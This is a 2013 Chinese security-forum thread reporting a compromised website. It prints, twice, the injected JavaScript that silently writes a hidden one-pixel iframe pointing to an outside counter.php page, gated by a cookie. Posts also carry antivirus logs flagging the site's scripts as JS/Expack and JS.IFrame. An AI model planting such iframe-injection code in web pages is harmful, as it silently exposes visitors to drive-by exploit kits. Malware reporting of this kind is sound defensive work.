http://a161.tw70.com/allian_join.php【挂马BY哀酱】

显示全部楼层 · 发表于 2013-8-5 00:01:14

function zzzfff(){
var p = document.createElement('iframe');
p.src = 'http://bridgefasteners.com/counter.php';
p.style.position = 'absolute';
p.style.border = '0';
p.style.height = '1px';
p.style.width = '1px';
p.style.left = '1px';
p.style.top = '1px';
if (!document.getElementById('p')){
document.write('<div id=\'p\'></div>');
document.getElementById('p').appendChild(p);
}
}
function SetCookie(cookieName, cookieValue, nDays, path){
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0)nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))){
return null;
}
if (start == - 1)return null;
var end = document.cookie.indexOf(";", len);
if (end == - 1)end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
if (GetCookie('visited_uq') == 55){
}
else {
SetCookie('visited_uq', '55', '1', '/');
zzzfff();
}
}

复制代码

function zzzfff(){
var zekdw = document.createElement('iframe');
zekdw.src = 'http://bridgefasteners.com/counter.php';
zekdw.style.position = 'absolute';
zekdw.style.border = '0';
zekdw.style.height = '1px';
zekdw.style.width = '1px';
zekdw.style.left = '1px';
zekdw.style.top = '1px';
if (!document.getElementById('zekdw')){
document.write('<div id=\'zekdw\'></div>');
document.getElementById('zekdw').appendChild(zekdw);
}
}
function SetCookie(cookieName, cookieValue, nDays, path){
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0)nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))){
return null;
}
if (start == - 1)return null;
var end = document.cookie.indexOf(";", len);
if (end == - 1)end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
if (GetCookie('visited_uq') == 55){
}
else {
SetCookie('visited_uq', '55', '1', '/');
zzzfff();
}
}

复制代码

显示全部楼层 · 发表于 2013-8-5 07:02:18

Avira

2013/8/5 上午 06:59 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\Q4CFJPIR\login[1].js'
   包含病毒或有害的程式 'JS/Expack.CM.4' [virus]
   已採取動作：
   檔案會移動至 '57ef73cb.qua' 名稱底下的隔離區目錄。.

2013/8/5 上午 06:59 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\MQPF1KDL\config[1].js'
   包含病毒或有害的程式 'JS/Expack.CM.4' [virus]
   已採取動作：
   檔案會移動至 '4f715c6c.qua' 名稱底下的隔離區目錄。.

2013/8/5 上午 06:59 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 822
   目錄數： 0
   惡意程式碼數： 2
   警告數： 0

2013/8/5 上午 06:59 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\6IHTB3IO\allian_join[1].htm'
   包含病毒或有害的程式 'JS/Expack.CM.4' [virus]
   已採取動作：
   檔案會移動至 '55397dcc.qua' 名稱底下的隔離區目錄。.

2013/8/5 上午 06:59 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 820
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/8/5 上午 06:58 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\Q4CFJPIR\login[1].js 中
   偵測到病毒或有害的程式 'JS/Expack.CM.4 [virus]'
   執行的動作：傳輸至掃描程式

2013/8/5 上午 06:58 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\MQPF1KDL\config[1].js 中
   偵測到病毒或有害的程式 'JS/Expack.CM.4 [virus]'
   執行的動作：傳輸至掃描程式

2013/8/5 上午 06:58 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\Q4CFJPIR\login[1].js 中
   偵測到病毒或有害的程式 'JS/Expack.CM.4 [virus]'
   執行的動作：拒絕存取

2013/8/5 上午 06:58 [Web Protection] 發現惡意程式碼
   從 URL "http://a161.tw70.com/images/js/login.js" 存取資料時，
   發現病毒或有害的程式 'JS/Expack.CM.4' [virus]。
   已採取動作：已略過

2013/8/5 上午 06:58 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\MQPF1KDL\config[1].js 中
   偵測到病毒或有害的程式 'JS/Expack.CM.4 [virus]'
   執行的動作：拒絕存取

2013/8/5 上午 06:58 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\6IHTB3IO\allian_join[1].htm 中
   偵測到病毒或有害的程式 'JS/Expack.CM.4 [virus]'
   執行的動作：傳輸至掃描程式

2013/8/5 上午 06:58 [Web Protection] 發現惡意程式碼
   從 URL "http://a161.tw70.com/data/config.js" 存取資料時，
   發現病毒或有害的程式 'JS/Expack.CM.4' [virus]。
   已採取動作：已略過

2013/8/5 上午 06:58 [Web Protection] 封鎖的網頁
   URL (http://a161.tw70.com/images/js/css.js) 的評估結果為惡意程式碼，而遭到封鎖。

2013/8/5 上午 06:58 [Web Protection] 封鎖的網頁
   URL (http://a161.tw70.com/images/js/validator.js) 的評估結果為惡意程式碼，而遭到封鎖。

2013/8/5 上午 06:58 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\6IHTB3IO\allian_join[1].htm 中
   偵測到病毒或有害的程式 'JS/Expack.CM.4 [virus]'
   執行的動作：拒絕存取

2013/8/5 上午 06:58 [Web Protection] 發現惡意程式碼
   從 URL "http://a161.tw70.com/allian_join.php" 存取資料時，
   發現病毒或有害的程式 'JS/Expack.CM.4' [virus]。
   已採取動作：已略過

2013/8/5 上午 06:58 [Web Protection] 封鎖的網頁
   URL (http://a161.tw70.com/images/js/jquery.min.js) 的評估結果為惡意程式碼，而遭到封鎖。

显示全部楼层 · 发表于 2013-8-5 07:04:34

Checking:http://a161.tw70.com/data/config.js
File size:4657 bytes
File MD5:052d5c1f7c6f19498a506e60354053f9

http://a161.tw70.com/data/config.js infected with JS.IFrame.457

Checking:http://s7.addthis.com/js/250/addthis_widget.js#pubid=xa-4e7c292431faf0fc
File size:7124 bytes
File MD5:859862a9416bdfd6c216ad55bbcff34d

http://s7.addthis.com/js/250/addthis_widget.js#pubid=xa-4e7c292431faf0fc - archive JS-HTML
>http://s7.addthis.com/js/250/addthis_widget.js#pubid=xa-4e7c292431faf0fc/JSFile_1[0][1bd4] - Ok
http://s7.addthis.com/js/250/addthis_widget.js#pubid=xa-4e7c292431faf0fc - Ok

Checking:http://a161.tw70.com/images/js/css.js
File size:6339 bytes
File MD5:8b620aec41a61741a3783c8c831e3a83

http://a161.tw70.com/images/js/css.js infected with JS.IFrame.457

Checking:http://a161.tw70.com/images/js/validator.js
File size:15.27 KB
File MD5:46078e4bf290f03fbc300bb8261856b5

http://a161.tw70.com/images/js/validator.js infected with JS.IFrame.457

Checking:http://a161.tw70.com/images/js/common.js
File size:14.96 KB
File MD5:4bc8f8f74d190173fd2525d951911d55

http://a161.tw70.com/images/js/common.js infected with JS.IFrame.457

Checking:http://a161.tw70.com/images/js/jquery.min.js
File size:34.50 KB
File MD5:83fc5f1a63af4e7dd238e32f88b7f993

http://a161.tw70.com/images/js/jquery.min.js infected with JS.IFrame.457

Checking:http://a161.tw70.com/images/js/login.js
File size:5619 bytes
File MD5:e0be9c7ce007ebdd02396ca24f7c4a01

http://a161.tw70.com/images/js/login.js infected with JS.IFrame.457

Checking:http://a161.tw70.com/allian_join.php
Engine version:7.0.5.6250
Total virus-finding records:4333148
File size:44.59 KB
File MD5:1042e7035cdb1c0f2c2d82927066e2ef

http://a161.tw70.com/allian_join.php - archive JS-HTML
>http://a161.tw70.com/allian_join.php/JSTAG_1[1ed][1021] infected with JS.IFrame.457
>http://a161.tw70.com/allian_join.php/JSTAG_2[1794][71] - Ok
>http://a161.tw70.com/allian_join.php/JSTAG_3[1d0c][1021] infected with JS.IFrame.457
>http://a161.tw70.com/allian_join.php/JSTAG_4[40f7][1021] infected with JS.IFrame.457
>http://a161.tw70.com/allian_join.php/JSTAG_5[6f8d][1021] infected with JS.IFrame.457
>http://a161.tw70.com/allian_join.php/JSTAG_6[8935][1021] infected with JS.IFrame.457
>http://a161.tw70.com/allian_join.php/JSTag_7[1799][6c] - Ok
>http://a161.tw70.com/allian_join.php/JSEval_8[f3d] infected with JS.IFrame.457
>http://a161.tw70.com/allian_join.php/JSEvent_9[9b] - Ok

显示全部楼层 · 发表于 2013-8-5 07:07:00

[已鉴定] http://a161.tw70.com/allian_join.php【挂马BY哀酱】